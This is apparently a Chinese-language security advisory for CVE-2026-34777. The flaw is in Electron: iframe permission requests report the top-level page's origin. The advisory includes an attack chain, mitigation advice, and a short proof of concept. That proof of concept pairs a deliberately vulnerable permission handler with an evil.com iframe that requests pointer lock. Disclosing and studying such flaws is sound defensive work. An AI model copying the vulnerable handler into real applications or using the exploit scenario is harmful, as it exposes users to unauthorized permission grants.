IPBUF安全漏洞报告
English
CVE-2026-34777 CVSS 5.4 中危

Electron权限请求origin欺骗漏洞 (CVE-2026-34777)

披露日期: 2026-04-04

漏洞信息

漏洞编号
CVE-2026-34777
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Electron

相关标签

权限绕过ElectronCVE-2026-34777客户端安全跨站脚本

漏洞概述

Electron是一个跨平台桌面应用框架。在特定版本之前,当iframe请求全屏、指针锁定等权限时,传递给权限处理器的origin参数错误地使用了顶级页面的origin,而非请求iframe的origin。这可能导致应用意外向第三方嵌入内容授予敏感权限。

技术细节

该漏洞源于Electron在处理iframe发起的权限请求时的逻辑缺陷。当iframe尝试请求fullscreen、pointerLock、keyboardLock、openExternal或媒体权限时,系统调用session.setPermissionRequestHandler()。此时,传入回调函数的origin参数被错误地设置为父级(顶级)页面,即webContents.getURL()的值,而不是实际发起请求的iframe的源地址。如果开发者的权限授予逻辑仅依赖这个origin参数进行校验,攻击者可以诱导受害者加载恶意iframe。由于该iframe继承了父页面的origin身份,应用会误认为请求来自受信任的父页面,从而批准了本应拒绝的第三方内容的权限请求。尽管真实的请求URL存在于details.requestingUrl中,但若代码未检查此字段,则存在安全风险。

攻击链分析

STEP 1
1. 诱导访问
攻击者诱导用户在受影响的Electron应用中访问嵌入了恶意iframe的页面。
STEP 2
2. 触发请求
恶意iframe内的脚本主动发起权限请求(如requestPointerLock或全屏请求)。
STEP 3
3. 逻辑绕过
Electron的setPermissionRequestHandler接收到请求,但获取的origin参数是父级页面的origin,而非iframe的origin。
STEP 4
4. 非法授权
应用校验父级origin通过后,错误地向第三方iframe授予了敏感权限。
STEP 5
5. 执行攻击
攻击者利用获得的权限进行下一步操作,如锁定用户鼠标、打开外部恶意链接等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Main Process (Vulnerable Handler Implementation) const { session } = require('electron'); session.defaultSession.setPermissionRequestHandler((webContents, permission, callback, details) => { // Vulnerability: Check relies on webContents.getURL() which returns top-level origin const requestingOrigin = webContents.getURL(); // If the top-level page is trusted, permission is granted blindly if (requestingOrigin.startsWith('https://trusted-app.com')) { console.log(`Granting ${permission} to origin: ${requestingOrigin}`); return callback(true); } callback(false); }); // --- Exploit Scenario --- // 1. The victim loads a trusted page in the Electron app: https://trusted-app.com/dashboard // 2. The trusted page contains a malicious iframe (e.g., injected via XSS or ad network) // <iframe src="https://evil.com/exploit.html"></iframe> // 3. Inside https://evil.com/exploit.js (running in the iframe) function triggerExploit() { // The iframe requests a sensitive permission (e.g., PointerLock) document.body.requestPointerLock(); // Due to the bug, the handler sees 'https://trusted-app.com' as the origin // and grants the permission to the evil.com iframe. } triggerExploit();

影响范围

Electron < 38.8.6
Electron < 39.8.1
Electron < 40.8.1
Electron < 41.0.0

防御指南

临时缓解措施
对于无法立即升级的应用,开发者应修改setPermissionRequestHandler回调函数,不再仅依赖origin参数或webContents.getURL(),而是严格检查details.requestingUrl属性,确保权限仅授予实际的请求源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表